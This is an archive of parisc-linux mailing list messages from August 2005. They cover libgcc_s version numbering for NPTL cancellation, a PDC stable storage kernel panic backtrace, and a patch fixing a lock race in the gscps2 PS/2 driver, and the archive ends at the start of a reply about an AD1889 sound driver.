Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: NPTL pthread_cancel and libgcc_s.so.2 vs.
	libgcc_s.so.1 (Why the DSO version bump?)
Date: Wed, 3 Aug 2005 10:53:48 -0400
Lines: 44
Approved: news@gmane.org
Message-ID: <20050803145343.GO9703@systemhalted.org>
References: <20050803044244.GN9703@systemhalted.org>
	<200508030502.j7352e22021888@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623880 15951 80.91.229.3 (22 Nov 2014 02:38:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:00 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Aug 2005 14:54:13 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx036) with SMTP; 03 Aug 2005 16:54:13 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3E4E07D6F7;
	Wed,  3 Aug 2005 08:54:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29678-09; Wed, 3 Aug 2005 08:54:10 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3BBEA7D6FA;
	Wed,  3 Aug 2005 08:54:09 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0934D7D6F2
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  3 Aug 2005 08:54:07 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29678-06 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 3 Aug 2005 08:54:06 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id DFF057D6F0
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  3 Aug 2005 08:54:05 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1E0Kcu-00047C-00; Wed, 03 Aug 2005 10:53:48 -0400
Content-Disposition: inline
In-Reply-To: <200508030502.j7352e22021888@hiauly1.hia.nrc.ca>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (37% Sync Ratio [====......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: wb+CYk9weSEkVr6WZHQhaXN1IGRvb0Di
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23021

On Wed, Aug 03, 2005 at 01:02:40AM -0400, John David Anglin wrote:
> > i386 only has libgcc_s.so.1 and I'm pretty sure that it is compiled with
> > dwarf2 support. hppa only has libgcc_s.so.1 and it is sjlj for sure.
> > 
> > So we have an inconsistent numbering problem?
> 
> Yup, but it was unavoidable.  Look on the positive side, i386 doesn't
> support sjlj ;)

Haha! :)
 
> > The code on hppa should try to load "libgcc_s.so.2" then?
> 
> Yes.

Perfect. I added some macros to glibc and this worked. It loaded
libgcc_s.so.2 perfectly and the cancellation seems to work. If only I
could fix the other segfault bugs.

> > > > Thus NPTL thread cancellation seems to requires dwarf2 eh support.
> > > > How do I enable sjlj versus dwarf2 (--enable-dwarf2-exceptions?)
> > > 
> > > dwarf2 is the default.  --enable-sjlj-exceptions=yes enables sjlj.
> > > Debian gcc-3.3 uses sjlj.  Debian gcc-3.4 and later use dwarf2.
> > 
> > Okay, perfect.
> 
> Basic TLS support in GCC is currently in the CVS head and will be
> part of gcc-4.1 when it is released.  As long as you don't configure
> it with --enable-sjlj-exceptions=yes you will get "libgcc_s.so.2".

Yes, this is what I was seeing. For the TLS toolchain we are using
dwarf2.

Thanks for the help.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [BUG] PDC stable storage broken on 2.6.13-rc3-pa1
Date: Wed, 3 Aug 2005 12:36:14 -0600
Lines: 138
Approved: news@gmane.org
Message-ID: <20050803183614.GB16029@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623881 15956 80.91.229.3 (22 Nov 2014 02:38:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:01 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Aug 2005 18:31:23 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx009) with SMTP; 03 Aug 2005 20:31:23 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A994E7D6ED;
	Wed,  3 Aug 2005 12:31:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30801-07; Wed, 3 Aug 2005 12:31:14 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A1A3A7D6EE;
	Wed,  3 Aug 2005 12:31:13 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F36597D6EA
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  3 Aug 2005 12:31:08 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30788-04 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 3 Aug 2005 12:31:08 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 43B347D64F
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  3 Aug 2005 12:31:08 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 6070E360288
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  3 Aug 2005 12:36:15 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29373-07 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 3 Aug 2005 12:36:14 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id C737E360283; Wed,  3 Aug 2005 12:36:14 -0600 (MDT)
Content-Disposition: inline
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: K2iDYmBieSEke76WZHQhaXN1IGRvb0D0
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23022

FYI only

PDC stable storage driver panics/hpmc's most/all parisc boxen
with the current 2.6.13-rc3-pa1 kernels.

Here is the backtrace and console output for c3000.
I won't be able to chase this today.
Maybe this weekend if no one else gets to it first.

grant


Command line for kernel: 'HOME=/ TERM=linux root=/dev/sda3 console=ttyS0 palo_k'
Selected kernel: /vmlinux-2.6.13-rc3-pa1-UP from partition 1                    
ELF32 executable                                                                
Entry 00100080 first 00100000 n 2                                               
Segment 0 load 00100000 size 4279552 mediaptr 0x1000                            
Segment 1 load 00518000 size 282757 mediaptr 0x416000                           
Branching to kernel entry point 0x00100080.  If this is the last                
message you see, you may need to switch your console.  This is                  
a common symptom -- search the FAQ and mailing list at parisc-linux.org         
                                                                                
Linux version 2.6.13-rc3-pa1-UP (grundler@svenc3k) (gcc version 3.3.5 (Debian 15
FP[0] enabled: Rev 1 Model 16                                                   
The 32-bit Kernel has started...                                                
Initialized PDC Console for debugging.                                          
Determining PDC firmware type: System Map.                                      
model 00005cf0 00000481 00000000 00000002 778510a0 100000f0 00000008 000000b2 02
vers  00000301                                                                  
CPUID vers 17 rev 11 (0x0000022b)                                               
capabilities 0x3                                                                
model 9000/785/C3600                                                            
Total Memory: 2048 MB                                                           
LCD display at f05d0008,f05d0000 registered                                     
Built 1 zonelists                                                               
Kernel command line: HOME=/ TERM=linux root=/dev/sda3 console=ttyS0 palo_kernelP
PID hash table entries: 4096 (order: 12, 65536 bytes)                           
Console: colour dummy device 160x64                                             
Dentry cache hash table entries: 524288 (order: 9, 2097152 bytes)               
Inode-cache hash table entries: 262144 (order: 8, 1048576 bytes)                
Memory: 2097152k available                                                      
Mount-cache hash table entries: 512                                             
NET: Registered protocol family 16                                              
Searching for devices...                                                        
Found devices:                                                                  
1. Astro BC Runway Port at 0xfed00000 [10] { 12, 0x0, 0x582, 0x0000b }          
2. Elroy PCI Bridge at 0xfed30000 [10/0] { 13, 0x0, 0x782, 0x0000a }            
3. Elroy PCI Bridge at 0xfed32000 [10/1] { 13, 0x0, 0x782, 0x0000a }            
4. Elroy PCI Bridge at 0xfed38000 [10/4] { 13, 0x0, 0x782, 0x0000a }            
5. Elroy PCI Bridge at 0xfed3c000 [10/6] { 13, 0x0, 0x782, 0x0000a }            
6. Allegro W+ at 0xfffa0000 [32] { 0, 0x0, 0x5cf, 0x00004 }                     
7. Memory at 0xfed10200 [49] { 1, 0x0, 0x09c, 0x00009 }                         
CPU(s): 1 x PA8600 (PCX-W+) at 552.000000 MHz                                   
Setting cache flush threshold to 300 (1 CPUs online)                            
SBA found Astro 2.1 at 0xfed00000                                               
LBA version TR4.0 (0x5) found at 0xfed30000                                     
PCI: Enabled native mode for NS87415 (pif=0x8f)                                 
LBA version TR4.0 (0x5) found at 0xfed32000                                     
LBA version TR4.0 (0x5) found at 0xfed38000                                     
LBA version TR4.0 (0x5) found at 0xfed3c000                                     
iosapic: hpa not registered for 0000:03:02.0                                    
SCSI subsystem initialized                                                      
unwind_init: start = 0x10442e40, end = 0x10473230, entries = 12351              
inotify syscall                                                                 
Installing knfsd (copyright (C) 1996 okir@monad.swb.de).                        
SGI XFS with no debug enabled                                                   
Initializing Cryptographic API                                                  
SuperIO: Found NS87560 Legacy I/O device at 0000:00:0e.1 (IRQ 19)               
SuperIO: Serial port 1 at 0x3f8                                                 
SuperIO: Serial port 2 at 0x2f8                                                 
SuperIO: Parallel port at 0x378                                                 
SuperIO: Floppy controller at 0x3f0                                             
SuperIO: ACPI at 0x7e0                                                          
SuperIO: USB regulator enabled                                                  
PDC Stable Storage facility v0.09                                               
                                                                                
                                                                                
Backtrace:                                                                      
 [<102af43c>] next_device+0x10/0x2c                                             
 [<102e27f8>] device_for_each_child+0x30/0x78                                   
 [<102e2814>] device_for_each_child+0x4c/0x78                                   
 [<102e2814>] device_for_each_child+0x4c/0x78                                   
 [<1010fb00>] for_each_padev+0x28/0x34                                          
 [<10110694>] parse_tree_node+0x34/0x44                                         
 [<10110624>] check_parent+0x68/0xa4                                            
 [<1010fa9c>] descend_children+0x24/0x60                                        
 [<102e2814>] device_for_each_child+0x4c/0x78                                   
 [<102e2814>] device_for_each_child+0x4c/0x78                                   
 [<102e2814>] device_for_each_child+0x4c/0x78                                   
 [<1010fb00>] for_each_padev+0x28/0x34                                          
 [<10110694>] parse_tree_node+0x34/0x44                                         
 [<10110624>] check_parent+0x68/0xa4                                            
 [<1010fa9c>] descend_children+0x24/0x60                                        
 [<102e2814>] device_for_each_child+0x4c/0x78                                   
                                                                                
                                                                                
High Priority Machine Check (HPMC): Code=1 regs=1047e080 (Addr=00000000)        
                                                                                
     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI                                           
PSW: 00000000000000001111111100000000 Not tainted                               
r00-03  00000000 0f000000 102af43c 00000000                                     
r04-07  1010fa78 8ffffe08 104ce058 10414000                                     
r08-11  0000000f 80000000 1056c3c8 1048bb48                                     
r12-15  3b9aca00 1056c010 1048d010 f0400004                                     
r16-19  00000000 f000017c f0000174 103ff000                                     
r20-23  0000000d 0000168c 101105bc 00000020                                     
r24-27  00000000 00000000 8fffff48 10474010                                     
r28-31  00000001 104cdee8 90000000 1010fa9c                                     
sr0-3   00000000 00000000 00000000 00000000                                     
sr4-7   00000000 00000000 00000000 00000000                                     
                                                                                
      VZOUICununcqcqcqcqcqcrmunTDVZOUI                                          
FPSR: 00000000000000000000000000011111                                          
FPER1: 00000000                                                                 
fr00-03  0000000000000000 0000001f00000000 0000001f00000000 0000001f00000000    
fr04-07  0000000000000000 5555555555555555 5555555555555555 5555555555555555    
fr08-11  5555555555555555 5555555555555555 5555555555555555 5555555555555555    
fr12-15  5555555555555555 5555555555555555 5555555555555555 5555555555555555    
fr16-19  5555555555555555 5555555555555555 5555555555555555 5555555555555555    
fr20-23  5555555555555555 5555555555555555 5555555555555555 5555555555555555    
fr24-27  5555555555555555 5555555555555555 5555555555555555 5555555555555555    
fr28-31  5555555555555555 5555555555555555 5555555555555555 5555555555555555    
                                                                                
IASQ: 00000000 00000000 IAOQ: 103f382c 103f3830                                 
 IIR: 6fc50080    ISR: 00000000  IOR: 90000000                                  
 CPU:        0   CR30: 8fc20000 CR31: 1051c000                                  
 ORIG_R28: 00000000                                                             
 IAOQ[0]: klist_next+0x4/0x74                                                   
 IAOQ[1]: klist_next+0x8/0x74                                                   
 RP(r2): next_device+0x10/0x2c                                                  
Kernel panic - not syncing: High Priority Machine Check (HPMC)                  
 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@levanta.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] SMP kernel hangs on C360, resolved
Date: Wed, 3 Aug 2005 20:49:31 +0100
Lines: 98
Approved: news@gmane.org
Message-ID: <20050803194931.GZ5500@levanta.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="Q0rSlbzrZN6k9QnT"
X-Trace: ger.gmane.org 1416623881 15958 80.91.229.3 (22 Nov 2014 02:38:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:01 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Aug 2005 19:49:44 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx065) with SMTP; 03 Aug 2005 21:49:44 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AC5B17D6B7;
	Wed,  3 Aug 2005 13:49:41 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31426-08; Wed, 3 Aug 2005 13:49:41 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9D3D17D706;
	Wed,  3 Aug 2005 13:49:40 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5E70D7D68A
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  3 Aug 2005 13:49:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31426-05 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 3 Aug 2005 13:49:36 -0600 (MDT)
Original-Received: from sleepie.demon.co.uk (sleepie-adsl.demon.co.uk [83.104.228.241])
	by free.linux.hp.com (Postfix) with ESMTP id 3670C7D685
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  3 Aug 2005 13:49:36 -0600 (MDT)
Original-Received: by sleepie.demon.co.uk (Postfix, from userid 1000)
	id 5E06527B68B; Wed,  3 Aug 2005 20:49:31 +0100 (BST)
Content-Disposition: inline
User-Agent: Mutt/1.4.2i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: jnqDYlV+eSEkM76WZHQhaXN1IGRvb0CW
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23023


--Q0rSlbzrZN6k9QnT
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Turns out this is down to bugs in drivers/input/serio/gscps2.c.
Looking at gscps2_probe(), there are two locks involved; one in
struct gscps2port and one in struct serio.  The probe function
initialises the one in struct gscps2port and then calls gscps2_reset()
which enables the device such that it can start generating interrupts,
then adds the port to the list of ports the int handler looks at,
then calls serio_register_port() which initialises the lock in
struct serio.  gscps2_interrupt() calls serio_interrupt(), so
if an interrupt is raised before serio_register_port() is called,
the code will hang trying to claim the serio lock which has not yet
been initialised.  Another issue is that gscps2_reset() resets the
device _and_ enables the port.  I think enabling the port should
only happen once something calls open().

The attached patch addresses these issues.  Before applying the
patch I could provoke the hang easily after adding an mdelay() to
the middle of the probe function and then banging on the keyboard
and mouse during boot.

Richard



--Q0rSlbzrZN6k9QnT
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename=dd

Index: drivers/input/serio/gscps2.c
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/input/serio/gscps2.c,v
retrieving revision 1.16
diff -u -r1.16 gscps2.c
--- drivers/input/serio/gscps2.c	18 Mar 2005 13:16:54 -0000	1.16
+++ drivers/input/serio/gscps2.c	3 Aug 2005 19:22:35 -0000
@@ -211,9 +211,6 @@
 	writeb(0xff, addr+GSC_RESET);
 	gscps2_flush(ps2port);
 	spin_unlock_irqrestore(&ps2port->lock, flags);
-
-	/* enable it */
-	gscps2_enable(ps2port, ENABLE);
 }
 
 static LIST_HEAD(ps2port_list);
@@ -307,6 +304,9 @@
 
 	gscps2_reset(ps2port);
 
+	/* enable it */
+	gscps2_enable(ps2port, ENABLE);
+
 	gscps2_interrupt(0, NULL, NULL);
 
 	return 0;
@@ -370,8 +370,6 @@
 	serio->port_data	= ps2port;
 	serio->dev.parent	= &dev->dev;
 
-	list_add_tail(&ps2port->node, &ps2port_list);
-
 	ret = -EBUSY;
 	if (request_irq(dev->irq, gscps2_interrupt, SA_SHIRQ, ps2port->port->name, ps2port))
 		goto fail_miserably;
@@ -396,13 +394,14 @@
 
 	serio_register_port(ps2port->port);
 
+	list_add_tail(&ps2port->node, &ps2port_list);
+
 	return 0;
 
 fail:
 	free_irq(dev->irq, ps2port);
 
 fail_miserably:
-	list_del(&ps2port->node);
 	iounmap(ps2port->addr);
 	release_mem_region(dev->hpa, GSC_STATUS + 4);
 

--Q0rSlbzrZN6k9QnT
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--Q0rSlbzrZN6k9QnT--



From - Thu Nov 08 21:33:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Clemens Ladisch <clemens@ladisch.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [Alsa-devel] [PATCH] Support for AD1889 PCI
	Soundchip
Date: Thu, 4 Aug 2005 15:30:45 +0200 (METDST)
Lines: 27
Approved: news@gmane.org
Message-ID: <Pine.HPX.4.33n.0508041503020.11474-100000__8051.72438635982$1416623881$gmane$org@studcom.urz.uni-halle.de>
References: <20050729211634.566f5343@Tatooine.r3z0>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN;
  charset=US-ASCII
X-Trace: ger.gmane.org 1416623881 15990 80.91.229.3 (22 Nov 2014 02:38:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:01 +0000 (UTC)
Cc: alsa-devel@lists.sourceforge.net,
 parisc-linux@lists.parisc-linux.org,
 kyle@parisc-linux.org
To: Thibaut VARENE <T-Bone@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Aug 2005 13:32:32 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx035) with SMTP; 04 Aug 2005 15:32:32 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 51FB67D716;
	Thu,  4 Aug 2005 07:32:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04382-09; Thu, 4 Aug 2005 07:32:28 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9D0137D719;
	Thu,  4 Aug 2005 07:32:27 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DFD697D715
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  4 Aug 2005 07:32:22 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04450-03 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 4 Aug 2005 07:32:22 -0600 (MDT)
Original-Received: from mailgate.uni-halle.de (mailgate.urz.uni-halle.de [141.48.3.51])
	by free.linux.hp.com (Postfix) with ESMTP id 0B9CE7D714
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  4 Aug 2005 07:32:22 -0600 (MDT)
Original-Received: from studcom.urz.uni-halle.de ([141.48.3.19])
	by mailgate.uni-halle.de with esmtp  (Exim 4.52)
	id 1E0fo6-0002Ws-PV ; Thu, 04 Aug 2005 15:30:47 +0200
Original-Received: from localhost (aezr4@localhost)
	by studcom.urz.uni-halle.de (8.9.3 (PHNE_28760_binary)/8.9.3) with
	ESMTP id PAA14958; Thu, 4 Aug 2005 15:30:45 +0200 (METDST)
X-Authentication-Warning: studcom.urz.uni-halle.de: aezr4 owned process doing
	-bs
In-Reply-To: <20050729211634.566f5343@Tatooine.r3z0>
X-Scan-Signature: 8a46a9913181300b63c8a1b6a7c824fb
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: pn2AYv8peSEkUb6WZHQhaXN1IGRvb8Bw
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23024

Thibaut VARENE wrote:
